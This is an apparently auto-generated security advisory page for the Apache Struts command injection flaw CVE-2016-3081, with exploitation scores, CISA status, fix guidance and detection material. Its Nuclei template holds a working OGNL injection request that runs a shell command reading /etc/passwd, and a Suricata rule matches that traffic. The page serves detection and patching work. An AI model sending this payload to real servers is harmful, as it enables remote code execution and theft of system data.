VULNpocalypse

CVE-2016-3081: Apache Struts Command Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.

Description quoted from the CVE record (assigned by redhat, published 2016-04-26).

Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

How it can be exploited

Exploitable over the network with high attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: no. Technical impact: total.

On CISA KEV since
2026-10-08
US federal deadline
2026-10-11
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2022-05996, CNNVD-201604-585, CNVD-2016-02506, EDB-39756, EUVD-2022-3161, GHSA-8c6j-ffmf-q6vm, SNYK-JAVA-ORGAPACHESTRUTS-30770

VEDAS cluster: VEDAS:BLUEBRAIN

Exploit Observer links 7 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (7)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (12)

Catalogue entries, not exploit evidence.

42 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.965
very likely to be attacked soon
VEDAS
0.990
strong exploit evidence
On CISA KEV
Yes, since 2026-10-08
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2026-10-08CVE-2016-3081 EPSS over time2025-042026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2026-10-08CVE-2016-3081 VEDAS over time2025-042026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

VEDAS flagged this bug about 417 days before CISA confirmed attacks.

Who is affected

ProductAffectedNot affected
Not statedversion n/aNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

Apache Struts - Command Injection

Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_M...); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2016-3081.yaml
Show the template (35 lines)
yaml
id: CVE-2016-3081

info:
  name: "Apache Struts - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when Dynamic Method Invocation is
    enabled, allow remote attackers to execute arbitrary code via method: prefix, related to chained expressions.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=struts&match=exact
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2016-3081
    cwe-id: CWE-77
  metadata:
    verified: false
  tags: cve2016,cve,struts,rce,apache,vuln,vkev
http:
  - raw:
      - |
        GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

CVE-2016-3081.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2016-3081 Apache Struts - Command Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2016-3081 Apache Struts - Command Injection"; flow:established,to_server; http.uri; content:"index.action"; nocase; fast_pattern; content:"passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2016-3081; reference:url,https://www.exploit.observer/?keyword=CVE-2016-3081&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=struts&match=exact; sid:1011160; rev:1;)

CVE-2016-3081.rules on GitHub

Advisories on this CVE

References

Exploits and technical analysis

  • 39756 (exploit, x_refsource_EXPLOIT-DB)

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.